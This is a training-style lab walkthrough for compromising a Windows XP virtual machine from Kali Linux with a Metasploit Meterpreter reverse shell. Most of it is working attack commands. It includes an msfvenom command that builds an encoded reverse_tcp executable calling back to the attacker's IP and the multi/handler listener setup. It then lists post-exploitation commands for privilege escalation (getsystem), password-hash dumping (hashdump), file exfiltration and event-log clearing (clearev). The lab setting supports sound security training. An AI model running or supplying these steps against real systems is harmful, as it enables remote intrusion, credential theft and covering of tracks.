[Day 7] 2. Windows XP Meterpreter Attack Using Kali Linux

1. Components Required:

• Kali Linux (as the attacker machine)
• Windows XP (64-bit ISO as the target machine)

---

2. Network Configuration:

• Configure both Kali Linux and Windows XP Virtual Machines in NAT Network mode:
  • Ensures both machines have internet access.
  • Facilitates communication between them.
• Use the
  Copy

  ping

  command to verify connectivity between the two machines.

---

3. Practical: Android Meterpreter (Windows XP)

Step 1: Generate Payload on Kali Linux

Use msfvenom to create a malicious executable file:

bashCopy
msfvenom -p windows/meterpreter/reverse_tcp -a x86 -e x86/shikata_ga_nai LHOST=<Kali_IP> LPORT=4000 -f exe > sunbeam.exe

Step 2: Set Up Listener on Kali Linux

1. Open Metasploit Framework:

   bashCopy
   msfconsole
   

2. Configure the handler:

   bashCopy
   use multi/handler
   set payload windows/meterpreter/reverse_tcp
   set LHOST <Kali_IP>
   set LPORT 4000
   exploit
   

Step 3: Execute Payload on Windows XP

1. Transfer the generated payload (
   Copy

   sunbeam.exe

   ) to the Windows XP machine.
2. Run the file on the Windows XP system to establish a reverse connection.

---

1. System Information:

• Copy

  sysinfo

  
  Displays basic information about the target system.

2. File System Interaction:

• Copy

  ls

  
  Lists the contents of the current directory.
• Copy

  cd <directory>

  
  Changes the current directory.
• Copy

  download <file>

  
  Downloads a file from the target.
• Copy

  upload <file>

  
  Uploads a file to the target.

3. Process Management:

• Copy

  ps

  
  Lists the running processes on the target system.
• Copy

  kill <PID>

  
  Terminates a specific process by its process ID.

4. Network Commands:

• Copy

  ifconfig

  
  Displays the target machine's network interface information.

5. Shell and Command Execution:

• Copy

  shell

  
  Opens a command shell on the target machine.
• Copy

  execute -f <command>

  
  Executes a command on the target machine.

6. Post-Exploitation:

• Copy

  getsystem

  
  Attempts to elevate privileges to SYSTEM level.
• Copy

  hashdump

  
  Dumps password hashes from the target machine.

7. Cleanup and Exit:

• Copy

  clearev

  
  Clears event logs on the target system.
• Copy

  exit

  
  Terminates the Meterpreter session.

---